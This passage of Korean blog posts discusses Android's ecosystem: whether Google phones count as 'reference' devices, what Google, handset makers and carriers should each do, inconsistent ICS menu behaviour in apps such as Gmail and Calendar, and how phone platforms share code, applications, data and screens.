  • Non-Google은 Android의 open source를 사용하지만 Google과 별도 라이센스 계약을 할 필요가 없고 이로 인해 Market에 접속하지 못하며 Gmail, Google maps를 비롯한 Google service application도 탑재하지 못합니다. 호환성 여부는 제공되는 CTS를 통해서 독자적으로 확인이 가능하고 별도 인증 절차도 필요 없기 때문에 네비게이션이나 PMP같은 Network 연결 없이 사용 가능한 embedded device에서 사용이 가능하고, 중국의 OPhone 처럼 독자적인 플랫폼으로도 변형해서 사용 가능합니다.

여기서, GED/GMS 라이선스에 의해서 탑재되는 Google application이나 이통사가 탑재하는 application이나 사용자 시점에서는 서비스 사용을 강요 당하는 입장이기 때문에 마찬가지라고 보이는데 유독 이통사의 pre-install application에 대해서는 시장에서 반감이 많습니다. 이 시점에서 “욱”하는 분들이 일부 있을 듯 한데 제가 이통사 편을 들고자 하는 것이 아니니 참고 넘어가주시기 바랍니다.
동일 연장선 상에서 봤을때 아이폰/아이패드는 Apple Experience Device이고 애플의 application을 탑재해서 애플 서비스를 사용하도록 사용자에게 강요하는 측면에서는 다르지 않아 보입니다.

그런데, 아이폰과 Android폰에는 어떤 차이가 있기에 어떤 기계는 열광하면서 사용하고 어떤 기계는 수많은 안티를 양산해가면서 시장에서 미운오리새끼 취급을 받을까요?
답은 모두 다 아시다시피 동일하게 강요 당하지만 제공 받는 서비스로 인한 사용자 경험이 다르기 때문일 것입니다.

이통사가 수익을 추구하는 기업 입장에서 이윤을 내기 위한 노골적인 서비스 접근이기도 하고 다수의 서비스가 연결성을 갖지 못하기 때문에 어쩔수 없이 사용하는 과정에서 불편함을 느낄 수 밖에 없고 이러한 여러가지 문제점들이 사용자 입장에서는 강요당하는 느낌이 들 것이고 이런 점들이 이통사의 pre-installed application에게 반감을 가지는 이유가 아닐까 싶습니다. 반대로 이통사가 애플처럼 “돈”이라는 것을 숨기고 월등한 사용자 경험을 제공한다면 SKT experience device, KT experience device 제조가 가능한 구조이고 유사하게 제조사도 Samsung experience device, LG experience device도 가능할 것입니다.

이런 점에서 GED는 “구글폰”이고 Android는 “SKT폰”, “KT폰”, “삼성폰”, “LG폰”으로도 얼마든지 변화할 수 있기 때문에 GED를 Android의 레퍼런스폰이라고 하는 것은 맞지 않다라는 것입니다.

현재는 이통사가 T-store, olleh마켓을 운영하고 있고 제조사인 삼성의 경우에도 별도 App-Store를 운영하고 있기 때문에 서비스와 App-Store의 경쟁력만 있다면 GED/GMS 라이선스 없이 독자적인 Android폰을 만들 수 있는 환경은 갖춰져 있습니다. 대표적인 사례가 아마존의 킨들파이어겠지요…

GED폰을 누군가 레퍼런스폰이라고 부르면서 용어가 일반화되고 역으로 그 프레임에 갖혀서 Android 플랫폼의 무한한 가능성이 사전에 차단되어 수 많은 기회를 잃고 있는 것이 아닌지 돌아보았으면 좋겠습니다.

앞으로, Nexus One / Nexus S / Galaxy Nexus 등의 구글폰은 레퍼런스 단말이라고 부르지 않았으면 좋겠습니다.
Android 레퍼런스 단말은 언젠가 이통사/제조사 중에 똘똘한 한 군데가 정신차리고 제대로 된 Best Practice라고 볼 수 있는 훌륭한 Android 단말을 출시했을때 그 때 부여하는 명예로운 이름으로 사용하면 좋지 않을까요?

※ 원래 제목은 “GED에 대한 왜곡된 시각”이었는데 제목이 너무 어렵다는 지적이 있어서 바꾸었습니다.

Android를 위한 변명

명색이 주변에서 안드로이드빠로 불리는데 새해 플젝으로 시작한 블로깅의 첫 내용을 Android를 공격하는 내용으로 쓰다 보니 마음이 편치 않아 다른 관점으로 두번째 글을 써보고자 합니다. 첫번째 블로그 글은 혼자 생각을 정리한다는 의미에서 시작한 것이라 경어체를 사용하지 않았는데 블로그가 공개된 이상 더 이상 혼자만의 생각을 정리하는데 머무르는 것이 불가능할 듯 해서 문체도 바꾸고 논조도 조금 변경할까 합니다.

첫 블로깅을 지인들과 공유하는 과정에서 @xguru 님과 @ibare 님께서 트윗을 하시면서 멘션과 예상치 못한 반응을 많이 받아서 당황한 면도 있는데, 그 중 대표적인 것이 개발자 시각에서 기술적으로 저의 주장을 반박하는 내용이었습니다. 저도 같은 개발자이지만 제가 주장하고자 하는 글의 논점은 기술적으로 맞다/틀리다를 떠나서 ICS 버전으로부터 야기되는 혼란스러운 UI/UX에 대한 의문점이고 그 부분에 대해서 Google의 역할 강화를 주장하는 것이었는데 각론에 초점을 맞춰서 제게 기술적으로 이해시키려고 하는 부분을 보면서 마치 거울을 보는 듯한 느낌을 받았었고 제 스스로를 돌아보는 계기가 되었습니다.

서론이 길었는데, 이번 글에서 제가 하고 싶은 말의 논점은 제목하고는 조금 다를 수도 있겠습니다. Android를 위한 변명이기도 하고 Android가 잘되기 위한 각 이해관계자들의 바른 역할에 대한 저의 생각일 수 있습니다.

Android가 지금까지 여타 플랫폼과 다른 점은 Google의 Open Access 정책인데 이 중에서 어느 것 하나 중요하지 않은 것은 없겠지만 “Open Application”는 통신 시장에서 상당히 큰 의미를 갖습니다. 기존 통신 시장이 이통사/제조사 간의 강력한 카르텔(?)체제에 의해서 Walled Garden이라고 불리면서 MVNO의 진입조차 쉽지 않을 정도로 폐쇄적인 시장 환경이었는데 특히 이통사/제조사의 pre-installed application은 주로 이통사의 서비스를 사용자에게 이용을 강제하는 수단으로 주로 사용되었고, 다이얼러/전화부/메시징 등의 주요 application은 제 3자가 접근할 수 없는 성역이었지만 Android에서는 Open Application 정책에 의해서 그 어느 누구도 특정 기능에 대해서 독점할 수 없는 구조로 제공되고 무조건 사용자의 선택이 최우선시 되며 심지어 그것이 Google의 application일지라도 동일하게 적용되는 원칙입니다.

이러한 획기적인 구조는 WIPI, BREW, … 등의 기존 통신 시장에서 시도된 수 많은 플랫폼에서 경험하지 못했던 것이고 iOS에서는 절대로 수용할 수 없는 혁명적 수준의 변화인데 의외로 저평가되고 있습니다. Open application으로 인해서 Android라는 플랫폼은 활용하기에 따라서 그 가치가 무궁무진하고 어쩌면 통신 시장에서 다시는 만날 수 없는 기회일 수 있어서 놓쳐서는 안되는 처음이자 마지막 기회라고 생각합니다.

그런데, Android가 iOS에 비해서 뒤늦게 시장에 선보인 점도 있고, 이미 대세가 iOS로 굳혀진 상태에서 “빠”라고 불릴 정도의 iOS에 대한 신념을 가진 일부 사용자로 인해서 Android가 어찌보믄 불필요한 공격을 많이 당한 면도 있지 않나 생각합니다. Android와 iOS의 플랫폼 방향성이 많이 다르고 각 단말들이 지향하는 시장이 많이 다른데도 불구하고 모든 플랫폼의 기준을 iOS로 접근하는 것은 옳지 않은 방향입니다. iOS가 좋으면 iOS를 쓰면 되지 굳이 Android를 공격해서 그들이 얻을 수 있는 것이 무엇인지 아직도 심히 궁금하기는 합니다. 다만, Google을 비롯한 이통사/제조사나 3rd party 개발사들은 그들의 잠재적 의도와는 상관없이 주장하는 바를 새겨들어야 한다고 봅니다. 왜냐하면 역설적으로 Android의 진화에 대한 대답이 Android를 공격하는 이들의 논리 안에 숨어 있다고 보기 때문입니다.

Android는 어쩌면 그 동안 기초 투자에 소홀하고 협력해서 공생해 본 경험이 없는 국내 기업에게는 특히나 다루기 힘든 듣보잡 플랫폼일 수도 있습니다. 국내 제조사들이 처음에는 그냥 공짜이고 플랫폼 구조가 너무 잘되어 있어서 S/W 생산성을 높이는 도구로 접근하였기 때문에 호환성이나 생태계를 등한시 한 것은 사실이고 지금은 호환성이 많이 개선은 되었지만 아직도 갈길은 멀어 보입니다.

이에 제가 생각하는 Android가 제대로 된 플랫폼으로 발전해서 모두가 공생하는 방안에 대해서 기술하고자 합니다.

1. Google
Google은 Android에 대한 칼자루를 쥐고 있는 입장이기 때문에 행보 하나하나에 시장이 민감하게 반응할 수 밖에 없습니다.
그 대표적인 예가 하나 있는데, Gingerbread 버전까지 기존 Android 단말들의 UI/UX에 대한 혼란으로 시장으로부터 지속적으로 공격을 받은 상황에서 Honeycomb 소스를 여타 플랫폼과 달리 공개적으로 Open하지 않는 점과 Google 고위 관계자들의 몇가지 발언에 비추어서 Honeycomb 이후에는 Google이 제조사들의 UI/UX 변경 권한을 축소할 것이라는 소문으로 확산되면서 또 다른 논란이 일어나기도 할 정도였고 ICS 버전에서 “Holo Everywhere“라는 Android 기본 theme 의무 탑재 정책과 Device Theme이라는 제조사 UI 변경 권한를 유지하는 것으로 발표되면서 한편의 해프닝으로 결론이 났을 정도입니다.

이 상황에서 Google에 무리한 요구를 하는 것은 어쩌면 시장내 이해관계자들의 활동을 위축시키거나 시장의 불확실성을 증가시키는 우려가 있기 때문에 조심스럽게 접근하는 것이 맞다고 봅니다. 그래도 최소한의 역할만은 제대로 해줬으면 좋겠습니다.

CTS
“파편화”라는 단어가 Android 플랫폼에게는 가장 치명적인 아킬레스건이 아닌가 생각합니다.
기존 어떠한 플랫폼도 해내지 못한 호환성이라는 만능 열쇠가 있을 것이라고 보지 않습니다. 심지어 100% 호환성을 유지하는 줄 알았던 iOS 조차도 단말별, 버전별로 예외처리가 필요하다는 사실을 알았을 때는 Android의 파편화를 공격하는 사람들이 한편으로는 측은하게 느껴지기까지 했습니다. iOS까지 그렇다고해서 Android의 플랫폼 호환성을 위한 노력을 안하자는 것은 아닙니다.
여러 제조사에서 H/W를 만들어냄에도 불구하고 여타 플랫폼과 달리 Android는 호환성이 향상된 것은 사실입니다. 그것이 비록 애플이라는 단일 회사에서 만들어내는 단일 디바이스에 비해서 호환성이 떨어질지라도 과거에 비해서 향상되었다는 점을 인정하고 더 향상된 호환성을 위해서 노력해야 하는데 그 중심에는 Google의 CTS가 있습니다.
Google이 device를 제조해보지 않은 web service 업체이기 때문에 초기 CTS 절차는 상당히 불완전하였고 그 결과로 초기 출시된 각 제조사별/단말은 CTS를 통과했지만 호환성에 많이 문제가 있었습니다. API input/output test결과가 동일하다고 API를 조합해서 사용하는 application이 완벽하게 동작하리라 생각하는 것이 얼마나 순진한 생각인지는 WIPI PCT를 통해서 국내 통신 시장에서는 이미 겪었는데 Google은 이제 그 경험을 하고 있다고 봅니다.

결론적으로 Google은 CTS 절차를 강화하고 새로운 테스트 절차를 도입해서라도 호환성이라는 맥락은 절대 지켜줘야 합니다.

② Market
Google Android Market은 진입장벽이 전혀 없기 때문에 완전한 개방을 의미하기도 하지만 정제되지 않은 garbage data로 인해서 Android Market 사용에 상당한 불편함이 있는 것이 사실입니다. 주요 인기 App의 사용자 리뷰에는 SPAM이 가득하고 App 설명에 적절하지 않은 단어가 포함되어 엉뚱한 App이 검색되는데도 Google의 개선 노력은 별로 보이지 않습니다. 이러한 부분들이 Android를 처음 사용하는 사용자들에게는 어렵고 복잡하고 지저분하다는 느낌을 주기에 충분하고 애플 앱스토어에 비교 당하며 공격당하는 주요 원인이 되기도 합니다.
검색을 잘한다는 Google이 Android Market의 검색 관련 기능을 보완하지 않는 것은 이해가 가지 않습니다. Web에서 사용자들이 원하는 Page를 잘 찾아서 보여주듯이 Android Market에서도 사용자들이 원하는 App을 적절히 검색하고 SPAM이나 관련이 없는 App들은 제거해서 정제된 결과를 보여주는 것만으로도 Android 플랫폼에 대한 가치는 달라질 것으로 봅니다.

2. 제조사
아이폰 출시 이후 통신 시장에 많은 변화가 있다고 하지만 대부분의 혜택은 애플에게만 예외적으로 적용되고 있습니다.
현재는 애플의 제품들이 시장에서 열광적으로 반응하기 때문에 울며 겨자먹기식으로 이통사가 일방적으로 양보하는 면이 많이 있기는 하지만 장기적으로 애플의 인기가 사그러들거나 다른 제조사들의 경쟁력이 향상되어 애플의 영향력이 일정 수준이하로 축소된다면 언제든지 이통사의 입지는 다시 복원될 것이고 시장의 흐름이 인위적으로 변화될 수 있습니다.
하지만 현재는 애플의 아이폰뿐 아니라 스마트폰이라는 플랫폼의 변화가 이통사에게 불리하게 작용하고 있고 그 틈을 제조사들이 비집고 들어갈 수 있는 여지가 있습니다. 그래도 아직은 제조사는 이통사로부터 상당부분 통제를 받을 수 밖에 없는 시장 구조로 인해서 가장 더디게 변화하는 것이 제조사가 아닐까 싶습니다.
처음에 아이폰이 도입되는 시점에는 별 문제 없다라고 대외적으로는 공표하면서도 내부적으로는 상당한 위기감에 휩싸였을텐데 의외로 빠른 기간내에 시장 수성에 성공하면서 오히려 제조사들이 혁신을 할 수 있는 기회를 놓친 것이 아닌가 생각합니다.

기존에 제조사들은 흑백LCD에서 4gray, 256 color, 16만 color로 변화하고 플립에서 폴더, 슬라이드로, 키패드에서 터치로 폼팩터가 진화할때마다 매번 플랫폼을 새로 만들었습니다. 제조사 입장에서 플랫폼은 오로지 S/W 생산성을 높이는 도구 그 이상도 이하도 아니었는데, Android 플랫폼은 제조사 플랫폼을 만드는 비용을 획기적으로 절감해주고 스마트폰 OS 기반이라 재사용성이 높아서 굳이 마다할 이유가 없었던 것이지 시장의 변화에 발빠르게 대응하는 측면에서 접근했다고 보기는 어렵습니다. 그렇기 때문에 Google이 Android 플랫폼을 Full source로 open을 해도 별다른 고민 없이 H/W를 판매하기에 급급했고 호환성이나 OS 업그레이드, 생태계 등을 고민할 필요가 없었던 것입니다. 대신, 이통사가 시장 변화에 발빠르게 대응하지 못해서 수익 모델을 여기저기 빼앗기는 동안 제조사들은 그 동안 피쳐폰 시장에서 해보지 못했던 서비스 영역으로 확장을 주로 고민했습니다. 이 과정에서 이통사와 제조사 간의 미묘한 충돌도 있었습니다만 정작 제조사가 해야할 본분에 대해서는 망각하고 있는 것 같습니다.

혹자는 Android를 meta-platform이라고 하는데 저는 이 용어에 적극 찬성합니다. 기존 MS의 Windows Mobile과 같이 제공받은 OS를 기준으로 H/W를 만들어서 판매하는 구조가 아니라 Android라는 full source를 기반으로 제조사가 호환성을 유지하는 범위내에서 재량껏 수정해서 새로운 플랫폼인 것 처럼 판매할 수 있기 때문입니다.

만약, 제조사가 이러한 플랫폼에 대한 개념을 숙지하고 치밀한 전략하에 움직였다면 Android 플랫폼이 가지는 S/W적인 취약점을 iOS에서 벤치마킹해서 또다른 아이폰을 만들어냈으리라 봅니다. 불행하게도 제조사들은 그런 행보를 아직까지 보이지 않고 있습니다. 눈에 보이는 UI만 조금씩 바꿔서 차별화된 것처럼 포장을 했지만 막상 사용성에 있어서는 Android 플랫폼의 취약점을 모두 가지고 있기 때문입니다.

Google이 배포하는 Android source가 포장하지 않은 bulk 라면 또는 사리면이라면, 제조사는 시장에서 사용자들이 원하는 다양한 맛의 스프를 첨가해서 포장을 달리한 라면을 출시하는 것이 본분이라고 봅니다.

제조사는 지금부터라도 플랫폼에 대한 해석을 나름대로 충실하게 수행해서 GUI를 변경하는 눈속임이 아닌 각 제조사가 생각하는 플랫폼의 철학을 구현한 제대로된 단말기를 출시하기를 바랍니다.

3. 이통사
통신 시장의 주도권을 쥐고 있던 이통사 입장에서 스마트폰에 대한 대응을 오랜동안 진행했음에도 불구하고 현재 시장 상황은 어쩌면 황당할 것으로 보입니다. 왜냐하면 현재 스마트폰 시장에서 주로 이용되는 서비스의 대부분은 예전에 이통사들이 자체 서비스로 이미 대응을 했던 것이기 때문입니다.
CDMA, WDCDMA, 2G, 3G, 화상전화, LTE 등의 시장 키워드를 선정하고 마케팅을 통해서 새로운 시장으로 변화하는 과정에서 포화된 시장임에도 지속적으로 고객들이 새로운 서비스를 사용하고 단말기를 교체하고 통신 비용을 지출하게 만드는데 익숙하다가 본인들이 통제하지 못하는 상황으로 변화되었음에도 이통사 자체 규격을 제조사에 요구하거나 pre-installed application을 강제적으로 탑재하도록 하는 것을 보면 아직 완벽하게 적응했다고 보기는 어렵겠습니다.

기존에 이통사의 기술 조직에서 서비스에 맞춰서 단말 규격을 만들고 제조사에 배포하는 절차가 남아 있다는 것은 시장의 주도권을 놓기 싫다는 것으로 읽히는데 현재 시장 상황에서 주도권은 매력적인 서비스로 고객을 매료시켜야 하는 것이지 구태의연한 절차로 되돌릴 수 없다는 것을 알았으면 합니다.

이통사는 통신 시장에서 기존 포털과 동등 수준 또는 우월한 수준의 서비스 제공 능력이 있음에도 불구하고 이통사에서 제공하는 서비스나 application을 보면 상식적으로 시장에서 이해할 수 없는 저급한 수준의 결과물들이 나오는데 비대해진 관료조직에서 어쩔 수 없는 상황이라면 API를 제공하고 3rd party 들이 API를 사용해서 수익을 낼 수 있도록 환경을 만들어주고 수익을 배분하는 것이 더 적절한 대응이 아닐까 생각합니다.

그리고, 이통사가 Android Market이 있음에도 독자적인 Store를 각자 운영하는데 행태가 기존 피쳐폰 시절과 그 행태가 다르지 않거나 Android Market과 차별화 요소가 전혀 없다는 것이 문제라고 보입니다. 앞서 지적했다시피 Android Market의 낮은 진입장벽으로 인해서 발생하는 문제를 최소한 이통사 Store에서는 진입장벽을 약간 높이더라도 선별적으로 적용해서 소위 “백화점” 모델로 약간의 추가 비용을 지출함으로써 Spyware나 개인 정보 유출 등의 걱정 없이 안심하고 사용할 수 있다는 점과 더불어 애플 앱스토어 수준까지는 아니더라도 이통사가 일정 수준에서 application에 대한 UI/UX까지 총체적으로 심사하여 Android Market 보다 활용도가 높고 고급 application을 다운받을 수 있다는 차별화 요소를 사용자들에게 제공하면 좋겠습니다.

또한, Android 개발자들에게 가장 큰 어려움 중의 하나가 SMS/MMS 데이터를 읽는 것인데 전세계적으로 SMS/MMS 규격이 다른 상황에서 플랫폼 차원에서 표준 API를 제공하기에는 어려움이 있기에 Content Provider를 통해서 제공하는 것으로 구조를 설계했으리라 추정되는데 이러한 혼란을 해결할 수 있는 유일한 주체가 이통사라는 점에서 최소한 WIPI 때 했던 노력의 1/10만 들여도 공통적으로 사용할 수 있는 Content Provider 규격을 최소한 국내 이통사간에 합의할 수 있으리라 생각되며 불필요한 이통사 독자 규격을 강요하는 것 보다는 훨씬 나은 방향성이 되리라 봅니다. 이러한 연장선 상에서 통신 시장에서 이해관계자들이 애로를 겪는 문제 중에서 Google이 해결하기 어렵거나 Google이 나설 필요가 없는 부분에 대해서는 이통사간의 협의체를 통해서 제조사 단말 제조 규격으로 표준화하는 것이 이통사의 올바른 역할이라고 생각합니다.

맺음말
예전에 제조사에 있을때 앞/뒤 사정 모르고 제조사를 힐난하는 블로거들을 볼때마다 참 답답하다는 생각을 했는데 이 글을 쓰면서 각 이통사와 제조사들의 담당자가 답답해할 수 있겠다라는 생각이 들었습니다. 나름 똑똑하다는 사람들이 모여서 오랜 시간 고민하고 불가피한 상황에 의해서 도출되는 결과만 시장에 보여지다보니 욕을 먹을 수 밖에 없는 구조라는 것도 압니다. 하지만, 시간이 지나도 Android의 생태계가 제대로 구축되지 못하는 점을 보면서 안타까움에 시장 이해관계자들이 움직였으면 하는 바램에 이 글을 썼음을 밝힙니다.

Android 4.0 (ICS)의 쌩뚱맞음에 대하여..

새삼스러운 일은 아니지만 Google은 시장을 대하는 태도가 전체적으로 불친절하고 이런 점은 항상 불만이었다.
다른 Google 서비스야 거의 독점적이고 Web 기반 서비스라고 백번 양보해도 Android의 경우에는 직접 서비스하는 것이 아니고 통신사/제조사 등의 기존 통신시장의 이해 관계자들이 활용할 수 있도록 제공하는 간접적인 서비스(?)라는 측면에서 그 불친절함이 시장을 혼란에 빠뜨리는 것이 아닌가 생각한다.

초기 HTC에서 G1/G2가 출시되었을 때만 해도 듣보잡이었던 플랫폼이 빠른 발전을 거듭하면서 양적인 측면에서는 iOS와 함께 모바일 플랫폼의 양대 축으로 자리 잡았지만 질적인 측면에서는 아직 많은 공격을 받는 것이 사실이고 그 바탕에는 플랫폼 진화 과정에서 Google의 불친절함이 자리잡고 있다고 본다.

[MENU], [HOME], [BACK], [SEARCH] 의 4개의 물리적인 키가 필요하던 초기 플랫폼 버전에서, 요구하는 물리적인 키가 많아 단말의 Form Factor에 제약이 발생할 수 있어서 단말 디자인 경쟁력이 떨어진다는 시장의 의견을 적극 반영하여 구글의 핵심 경쟁력과 직결된 [SEARCH]키를 과감하게 OPTION으로 처리하고 플랫폼에서 대안을 제시하는 것을 보았을때 시장과 적극 소통할 것이라 예상을 했었다.

그러나, 거기까지가 Google의 한계였는지 아니면 의도적으로 움직이는지는 확인할 수 없지만, 새로운 플랫폼이 나올 때마다 그 플랫폼의 컨셉이나 진화 방향에 대해서 구글은 시장과 소통하는데 적극적인 모습을 보이지 않고 있다.
이러한 구글의 행보로 인해서 Android 플랫폼이 시장이 선보인지 2년이 넘게 지나고 있는 이 시점에 통신사, 제조사, 3rd party 개발사들이 시장에 제공하는 최종 산출물을 보면 아직도 갈피를 잡지 못하고 우왕좌왕하거나 결과물을 생산해내기에 급급한 모습으로 비춰지고 있다고 본다.

특히, Android 4.0인 ICS(Ice-cream sandwich)를 사용하다보면 플랫폼 정체성에 의문을 가지게 된다.
지금까지 여러 공격에도 불구하고 [MENU], [HOME], [BACK]키라는 물리적인 키를 이용한 플랫폼의 UI/UX 컨셉을 유지하였고, 시장에서 사용자들이 플랫폼 사용법에 대한 기본적인 학습이 완료되었다라고 볼 수 있는 시간이 지난 이후에 [MENU]키를 삭제하고 SOFTKEY 체계로 플랫폼의 큰 틀을 흔들어 놓음으로써 시장에 굳이 새로운 혼란을 유발할 필요가 있었는지 의구심이 든다.

만약, 플랫폼의 큰 틀을 흔들어 놓을만큼 그 컨셉과 방향성이 중요하다면 여러가지 방법을 통해서 시장 관계자들에게 그 타당성을 설득하고 공감대를 얻어서 새로운 플랫폼에 맞춰 시장이 빨리 변화할 수 있도록 적극적으로 노력하는 것이 맞다고 본다.

불과 얼마전에 여러 경로로 공유된 Android UI Design Patterns를 보면 몇가지 예가 나오는데, Android 공식 Site보다 훨씬 구체적이고 필요한 사항에 대해서 더 잘 설명이 되어 있다. 물론 대부분의 내용은 Google Developer Day 2010에서 발표된 Roman Nurik’s의 slide를 인용하였기는 하지만 이러한 내용은 당연히 Android 개발자 공식 Site에서 적극적이고 지속적으로 알리는 것이 당연해 보이는데 왜 소극적으로 대응하는 것인지 안타까울 따름이다.

ICS 버전을 사용하면서 이상하다고 느끼는 몇가지 사례를 살펴보면,
우선 보통의 경우에 Application을 실행하면 아래 facebook 공식 어플처럼 [BACK], [HOME], [TASK], […] 이렇게 4개의 버튼이 보인다. [MENU]버튼이 OPTION처리 되어 […]로 표현된다는 점만 본다면 ICS 버전에서 어느 정도 수긍할 수 있는 변화라는 생각을 할 수 있겠다.

facebook screenshot
facebook 스크린샷

하단 가장 우측에 있는 […]버튼을 선택하면 Option Menu를 보여주는 방식도 기존 Gingerbread버전까지와 별반 다르지 않아 평범하다.

facebook
facebook Option Menu

아래 Seesmic application의 경우에도 별반 다르지 않아 보인다.

seesmic screenshot
Seesmic 스크린샷

그런데, Seesmic application은 […]버튼을 클릭하면 동일한 동작임에도 불구하고 Option menu 보여지는 방식이 다르다. 아직 ICS 버전 관련해서 자세한 내용을 파악하지 않아서 어떠한 차이에 의해서 발생하는 변화인지는 잘 모르겠지만 일단 동일한 동작에 대해서 다른 방식으로 보여지는 것 자체가 사용자에게 혼란을 줄 수 있는 충분한 여지가 있어 보인다.

seesmic option menu screenshot
Seesmic에서 Option Menu 스크린 샷

그렇다면 여기서 추정할 수 있는 것은 facebook application이 ICS 버전에 대응하지 않은 것이고 Seesmic application이 ICS 버전에 맞춰서 동작한다고 볼 수도 있을 듯 하다.

보통 Android에서 Application의 Best practice를 찾기 위해서는 Android에 기본 탑재된 Google Mobile Service Application을 참고하게 되는데, 이 시점에서도 동일하게 ICS에 탑재된 Gmail application을 살펴보면 딱히 그런것 같지도 않다.
[…]버튼의 위치가 [BACK], [HOME], [TASK] 등의 SOFTKEY 영역에 있는 것이 아니고 Gmail만의 별도 기능 아이콘 옆에 배치되어 있다.

ICS Gmail Application Screenshot

Gmail만 보면 Application에서 Option을 처리하는 UI guideline이 변경된 것처럼 생각할 수도 있으나 Gtalk application을 보면 […]버튼이 상단 ActionBar 맨 우측에 위치하고 있다.

Gtalk screenshot
Gtalk screenshot

이쯤되면 오기가 생겨서 이것 저것 안볼 수가 없다. 그래서 확인한 Google Calendar application은 더 가관이다.
월별 일정 화면에서는 Gtalk과 별반 다르지 않아서 넘어가고 상세 일정 화면을 클릭했더니 상단 좌측에 있는 아이콘이 [BACK]키와 동일한 동작을 한다.
Android UI guideline에서 하지 말라고 하는 그 동작이다.

Google Calendar 스크린 샷
Google Calendar 스크린 샷

이 외에도 ICS 버전을 쓰다보면 이해할 수 없는 것들이 몇가지 있는데 지금까지 문제라고 나열한 이런 내용들이 아직 ICS를 이해 못한 내 잘못이라고 생각하고 싶다.
앞으로 ICS를 더 써보고 여기저기 기웃기웃하면서 귀동냥을 더 많이하면 Google의 깊은 뜻을 이해할 지도 모르겠지만 아직까지는 잘 모르겠다.

그냥 누가 친절하게 알려주면 좋겠다. 그 ‘누구’가 Google이면 더 좋겠고.. 쩝!

Android에 대한 小考(소고) – 플랫폼

※ Daum 소규모 지인 위주의 카페에 안드로이드 초기 느낀 점을 지인들과 공유하기 위해서 적은 글인데 어딘가 따로 정리가 필요해서 블로그로 복사합니다.

오늘은 안드로이드에서 약간 벗어나서 플랫폼 일반론에 대해서 얘기할까 합니다.
물론 안드로이가 빠지면 재미가 없기 때문에 당연히 언급이 있겠습니다만…

1990년대 후반 Qualcomm source base로 UI를 구성하던 시절에는 swich문과 state 변수에 의존한 소위 state machine으로 사용자 동작 시나리오에 대응했습니다.

예를들면 메시지를 수신하고 그 번호로 바로 통화키를 눌러서 전화통화를 하는데 다른 메시지가 다시 수신되면 메시지 관련 기능이 2번 수행되어야 하므로 re-entrance 개념이 없던 state machine에서는 앞선 메시지 수신 상태를 삭제하고
다시 메시지를 처리하는 식으로 사용자 편의성과는 상관 없는 기술적 한계에 의한 시나리오 대응이 되던 시절입니다.

이런 제약 때문에 전화 수신/발신 기능이 동작하면 state machine을 초기화하는데 메시지 작성 중에 전화가 수신되면 작성중이던 메시지가 아무런 경고도 없이 취소되는 어이없는 시나리오가 당연시 되던 상황이었죠.

물론 상품기획이나 고객들로부터 무수한 클레임으로 일부 제한적인 부분은 보완이 되었지만 Case by Case로 대응하는데 한계를 느낀 제조사들이 욕심을 내기 시작하는 것이 노키아와 같은 플랫폼을 가지고 싶어하는 것이었습니다.
그 당시 노키아의 성공 비결은 재사용성이 높은 S/W이고 그 기반에는 플랫폼이 있다고 생각했던 것이죠.

일정 부분 맞기도 하지만 여러가지 복합적인 요인으로 인해 노키아이기 때문에 가능했던 부분인데 플랫폼에 대한 막연한 기대를 하는 국내 제조사들이 간과하던 부분이었죠…

자의반 타의반으로 여기 저기 제조사를 떠돌면서 여러 플랫폼을 경험했고 플랫폼의 최종 모습으로 보이는 안드로이드까지 경험하면서 나름대로 크게 분류하자면 다음과 같습니다.

1.Code Share
국내 제조사들이 플랫폼 개발 초기에 중점적으로 가치를 두었던 부분입니다.
state machine 기반으로는 SW 재사용성이 상당히 낮은 상황에서 가장 중요하게 보였던 부분이죠.
LCD가 변경되고 MSM이 변경되고 부가적인 HW가 변경되더라도 Code를 최대한 재활용하고자 하는 목적으로 초기 플랫폼이 설계되기 시작했습니다.

2.Application Share
Application Share와 Code Share를 명확하게 구분하기는 쉽지 않습니다.

application share의 경우에는 특정 기능을 하는 application이 유일하게 1개가 존재하고 특정 기능을 수행하기 위해서는 해당 application을 구동하고 결과 값을 받아서 처리하는 개념입니다.
개념은 단순하지만 application간의 데이터 교환 방식 표준을 규정하는 것이 쉽지 않고 일반적인 플랫폼은 Windows의 Message 개념 또는 Event 개념으로 동작하다 보니 Dedicate된 자료구조를 사용하게 되고 application share가 어려워지는 악순환이 시작됩니다.

제조사들은 플랫폼 초기 설계시에 아이폰의 App Store 개념을 도입하여 시장 문제를 단말 SW 전체가 아닌 일부 application upgrade로 해결하고자 많은 노력을 했지만 개발 과정에서 발생하는 application간의 dependency 문제를 해결하지 못하여 결과적으로 application share가 아닌 code share 개념으로 변질되는 경우가 대부분입니다.

3.Data Share
대표적인 Data Share 플랫폼이 WIPI 입니다.
WIPI는 application share 개념으로 이해하기 쉽습니다만 실제로는 그렇지 않습니다.

예를들어 WIPI내에 전화번호부가 존재한다고 했을 때에 이 전화번호부를 통해서 전화 번호 등을 비롯한 전화번호부 정보를 획득하여 동작하는 것이 application share 개념이라면, Data Share는 각각의 application이 공통된 공간에 data를 저장하고 application이 필요할 때마다 data를 직접 검색/가공하는 방식을 의미합니다.
WIPI 플랫폼이 Terminal Resource가 방대한 이유가 Data Share 개념 때문이라고 볼 수 있습니다.

WIPI application은 전화부, 메시지, 사진 등의 정보가 필요하면 목록을 직접 얻어가서 각 application별로 UI를 구성하게 되고 전체적으로 일관된 UI를 가지지 못하다 보니 일반적인 플랫폼으로 인정받지 못하고 천대받았던 것이 아닌가 싶습니다.

4.Screen Share
안드로이드가 나오기 전까지는 전혀 상상하지 못했던 개념이고 획기적인 기능입니다.
안드로이드는 Application 구성을 화면 단위로 구현하는데 이를 “Activity”라고 부릅니다.

아래 그림을 보면 APK Package라고 되어 있는 부분이 우리가 흔히 말하는 application인데, “Task”라는 주황색 Box로 2개의 application에 걸쳐서 Activity 집합이 구성되는데 이것이 실제 안드로이드에서 동작하는 시나리오입니다.

안드로이드는 OOP기반의 Java 언어로 구현되기 때문에 각각의 Activity가 완벽하게 독립되고 Framework에서 application dependency가 연결될 수 없도록 구조를 제한하기 때문에 하나의 application에서 다른 application의 화면(“기능”)을 가져다가 쓸 수 있습니다.

위에서 언급한 전화번호부를 동일하게 적용해보면 왼쪽에 있는 application이 전화부를 사용하는 기능이고 오른쪽이 전화번호부 application이라면 전화부 사용이 필요할 때 전화번호부 application의 “사용자 검색 화면” 또는 “전화번호 검색 화면”을 이용해서 검색을 진행하거나 “전화부 명단 목록 화면”을 이용해서 전화부라는 UI에 일관성을 유지한 상태에서 application이 전화부 기능을 구현하지 않고 동일한 기능을 사용할 수 있게 되는 것입니다.

Activity
Activity

본의 아니게 플랫폼 일반론을 얘기하려다가 다시 안드로이드로 귀결되었네요…

